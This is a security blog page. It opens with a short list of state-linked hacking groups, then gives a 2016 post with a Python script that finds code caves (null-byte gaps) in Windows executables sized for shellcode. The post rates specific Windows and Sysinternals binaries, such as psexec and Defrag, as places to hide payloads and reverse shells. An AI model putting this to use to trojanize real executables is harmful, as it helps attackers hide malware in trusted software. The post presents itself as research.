Emissary Panda. Discovered in 2015 but active since 2013 E.Panda is a Chinese Hacking group targeting US-Military and US-Defense infrastructures as well as critical infrastructures in USA. The attackers used contractors Managers and Directors to exfiltrate classified information from secret projects.

Potato Group. The group behind the most known "Operation Potato Express" (here). The group mostly operates targeting Russia, Belarus and Ukraine Govs and news agencies. The attacks were used even to spy members of MMM, a Ponzi scheme company popular in Russia
The attacks conducted using the Win32/Potao malware family span the past 5 years, the first detections dating back to 2011. The attackers are, however, still very active, with the most recent infiltration attempts detected by ESET in July 2015.
Waterbug.  Discovered and described by Symantec (here) Waterbub was operating since 2005.
Waterbug is likely a state-sponsored group which uses an attack network (“Venom”) that consists of 84 compromised domains (websites). The watering-hole websites used by the Waterbug group are located in many different countries. The greatest number of compromised websites are found in France (19%), Germany (17%), Romania (17%), and Spain (13%).
DragonFly. Discovered and firstly mitigated by Symantec (here) the group mainly attacks Energy Suppliers:
Dragonfly, likely a group of hackers operating out of Eastern Europe since 2011, bears the hallmarks of a state-sponsored operation. Analysis of the compilation timestamps on the malware used by the attackers indicate that the group mostly worked between Monday and Friday, with activity mainly concentrated in a nine-hour period that corresponded to a 9am to 6pm working day in the UTC +4 time zone.
Sandworm. Known for its most famous (so far) APT called BlackEnergy (here). Built from Russia against Ukraine during the political conflict Sandworm is a skilled group specialised in SandBox evasion tricks and documents (OLE) worms.

GovRat. Group behind several Governmental attacks and Discoverd and Mitigated by infoArmor (here)
Several English-speaking developers began creating custom malware and using it as a group in 2015. GovRAT is the name they gave the malware – which is used primarily for cyber espionage, and is also the code name of the group, the hackers using it for infections. 

Among these groups plenty of famous smallest and biggest groups are out there, some of there are notorious as well while some other are stille hidden, so please consider that list incomplete and based on personal experiences and not on scientific review process.

Wednesday, April 20, 2016

Looking For Caves in Windows Executables

Most of my readeres exactly know what code caves are while many other people out there (maybe occasional readers) could wonder why I am writing about codecaves in 2016 since it is a well know technique (published in 2006) to inject a malicious payload inside Windows Portable Executables. Well, today I want to disclouse a super simple python script that I used to calcultate the cave sizes (/x00) in windows executable. Code caves are places in where attackers could inject ShellCodes and execute them deflecting the normal program behaviour. Moreover I would like to discuss a little bit about the average size of free spots available in some of the most known executable shipped in Windows OS.

Two bits on CodeCaves (just to revise it)
A codecave can best be defined as "a redirection of program execution to another location and then returning back to the area where program execution had previously left." In a sense, a codecave is no different in concept than a function call, except for a few minor differences. If a codecave and a function call are so similar, why do we need codecaves at all then? The reason we need codecaves is because source code is rarely available to modify any given program. As a result, we have to physically (or virtually) modify the executable at an assembly level to make changes. At this point a few alarms and whistles may be going off for a few readers. What legitimate reason would we ever have to do so, modify an existing program for which no source is available? Consider the following hypothetical, but not too farfetched, scenario: A company that has been using the same software system they developed for the past 10 years. The software system they are using has served them well, but it is time to upgrade it to reflect a mandatory change in the output data format. The only problem is the original programmers are long gone and there are no hopes of getting the original source code to update the program. Now, this company has trained it's now veteran employees and grown the past 10 years using this specific software system, so a complete rewrite would be quite disastrous to the company. Retraining all their employees to a new system and having to reprogram things differently is not only time consuming but very costly. It would take about a year to do such and this is out of the time frame that the company has. The worst part of it all is that you are the programmer that was hired to solve this issue. You could just throw up your hands and say it is not possible, but that would not do much to help your professional career. Instead, imagine if there was a way that you could keep using the same program, but you have an additional DLL that is used to dynamically update the output data from the company's program so it fits the new standard that is required. Best of all, it is a solution that can be implemented well before your deadline and requires minimal changes to be made to the company's existing procedures of using the program. Enter codecaves.

Find Caves

The following script (Find_PE_Caves) takes as input a directory, it  looks for all PE files in it. It then takes every PE file and starts to look for multi dimensioning caves on it. It first tries to search for available 21bits (the smallest mok shellcode available today) and later it tries to search for available 1024bits caves. It ends up by writing down stats files on how many caves it did find on given files.


#!/usr/bin/env python2

#========================================================================#
#               THIS IS NOT A PRODUCTION RELEASED SOFTWARE               #
#========================================================================#
# Purpose of finMaliciousRelayPoints is to proof the way it's possible to#
# discover TOR malicious Relays Points. Please do not use it in          #

# any production  environment                                            #

# Author: Marco Ramilli                                                  #
# eMail: XXXXXXXX                                                        #
# WebSite: marcoramilli.blogspot.com                                     #
# Use it at your own                                                     #
#========================================================================#

#==============================Disclaimer: ==============================#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR      #
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED          #
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE  #
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,      #
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES      #
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR      #
#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)      #
#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,     #
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING   #
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE      #
#POSSIBILITY OF SUCH DAMAGE.                                             #
#========================================================================#

#-------------------------------------------------------------------------
#------------------- GENERAL SECTION -------------------------------------
#-------------------------------------------------------------------------
import sys
import re
try:
    import pyprind
except ImportError:
    print 'pyprind not installed, see https://github.com/rasbt/pyprind'
    sys.exit()
try:
    import pefile
    import peutils
except ImportError:
    print 'pefile not installed, see http://code.google.com/p/pefile/'
    sys.exit()
try:
    import magic
except ImportError:
    print 'python-magic is not installed, file types will not be available'
    sys.exit()
import os
import glob

#----------------------------------------------------------------------
#----------------     Starting Coding   -------------------------------
#----------------------------------------------------------------------

def open_file(arg,mode):
    """
    Open a File  and returns the FileNode.
    """
    try:
        file =  open(arg,mode).read()
    except IOError as e:
        print str(e)
        sys.exit(1)
    return file


def get_executables(files):
    """
    Filters the only executable files from a files array
    """
    exec_files = []
    for file in files:
        if "executable" in magic.from_file(file):
            exec_files.append(file)
    return exec_files


def get_sections(binary_file):
    """
    Gets file sections => thanks to PE.
    Returns an multiDimensional array: [binary_file, sections_exe, sections_data]
    """
    sections_exe = []
    sections_data = []
    pe = pefile.PE(data=binary_file)
    sections = pe.sections
    for section in sections:
        # 0x20000000 IMAGE_SCN_MEM_EXECUTE
        # 0x40000000 IMAGE_SCN_MEM_READ
        # 0x00000020 IMAGE_SCN_CNT_CODE
        if all(section.Characteristics & n for n in 
            [0x20000000, 0x40000000, 0x00000020]):
            sections_exe.append(section)
        else:
            sections_data.append(section)
    return [binary_file, sections_exe, sections_data]


def get_codecaves(section,binary,size):
    """
    Looks for caves into a binary file in a specifc PE section
    Return the caves array [section, offsets]
    """
    codecaves = []
    raw_offset = section.PointerToRawData
    length = section.SizeOfRawData
    data = binary[raw_offset:raw_offset + length]
    offsets = [m.start() for m in re.finditer('\x00'*(size), data)]
    if offsets:
        codecaves.append(section)
        codecaves.append(offsets)
    return codecaves


def search_for_codecaves(sections_to_look_for, size):
    """
    Looks for caves in PE sections
    Returns codecaves array
    """
    for section in sections_to_look_for[1]:#exec_sections
        codecaves = get_codecaves(section, sections_to_look_for[0], size)
        if codecaves:
            return codecaves

    for section in sections_to_look_for[2]:
        codecaves = get_codecaves(section, sections_to_look_for[0], size)
        if codecaves:
            return codecaves


def save_files(data):
    """
    Saves a CSV File within stats comma separeted virgula
    Whatchout it creates as many file as analysed files
    """

    for d in data:
        print("[+] Saving plotting file for : %s" % (d[0]))
        fw = open(os.path.basename(d[0]) + ".csv", 'a')
        for point in d[1]:
            fw.write(str(point[0]) + "," + str(point[1]) + "\n")
        fw.close()


if __name__ == "__main__":
    #http://shell-stormorg/shellcode/files/shellcode-841.php.
    shellcode_minimal_lenght = 21 
    shellcode_max_lenght = 1024
    max_progress = shellcode_max_lenght - shellcode_minimal_lenght
    stats = []

    if len(sys.argv) != 2:
        print "Usage: %s \n" % (sys.argv[0])
        print """
                 The %s will search for caves inside 
                  and will save in current 
                  directory files within stas" % (sys.argv[0])
               """
         sys.exit()

    object = sys.argv[1]
    files  = []

    if os.path.isdir(object):
        for root, dirs, filenames in os.walk(object):
            for name in filenames:
                files.append(os.path.join(root, name))
    elif os.path.isfile(object):
        files.append(object)
    else:
        print "You must supply a file or directory!"
        sys.exit()

    files = get_executables(files)

    print("")
    print("==========================================")
    print("==========  Doing hard work here =========")
    print("==========================================")
    print("")

    for f in files:
        print ("[+] Calculating carvings for : %s" % (f))
        bar = pyprind.ProgBar(max_progress)
        points = []
        binary_file = open_file(f,"rb")
        #[binary_file, exe_sections, data_section]
        sections_to_look_for = get_sections(binary_file)   

        for size in range(shellcode_minimal_lenght,1025):
            codecaves = search_for_codecaves(sections_to_look_for, size)
            if codecaves:
                codecaves_per_size  = [size, len(codecaves[1])]
            else:
                codecaves_per_size  = [size, 0]
            points.append(codecaves_per_size)
            bar.update()
        stats.append([f, points])

    save_files(stats)

Analyzing Famous Windows Executables

I 've been using the aforementioned script against some of the most known portable executables shipped with Microsoft Windows looking for -ready to go- caves in order to figure out where to hide payloads (only for research purposes). The analyzed files are the following ones:
For each analized PE a simple ASCII graph shows the size distribution. Every ASCII graph sees on the x-ass the cave sizes and on the y-ass the number of caves for the given size.

 
Defrag.exe:
High number of small caves are observable. The size esponentially decreases (e^-x) but still a big spot for greater than 1024bits shellcode is present. This file could be a great "trojan holder".





Autologon.exe:
 More caves were found for many sizes. If you have multiple stage payloads AutoLogon.exe is a great place to store shellcodes ! Wholes are realy big like Defrag.exe but still many of them are ready to be filled.









Cacheset.exe:
Many small caves as well as big ones have been found.  Ideal for injecting many fragmented multi  stage payloads.









Winobj:
Found Interesting patterns out there. We observe more big caves rather than small ones. Winobj is ideal for hiding big sized payloads even bigger than 1024b.



 




psexec:
Maybe one of the most used executables from sys admin, it is super helpful to run remote code. We observed many midium sized caves while no caves bigger then 7xxbits have been found. It would be a great candidate for reverse_tcp or reverse_http payloads (size 250b to 380b)










I do not have conclusions here, I admit -- I was ready to bet on Microsoft. I thought Microsoft would not ship code within caves on it. But I Was wrong, fortunately I do not like gambling game!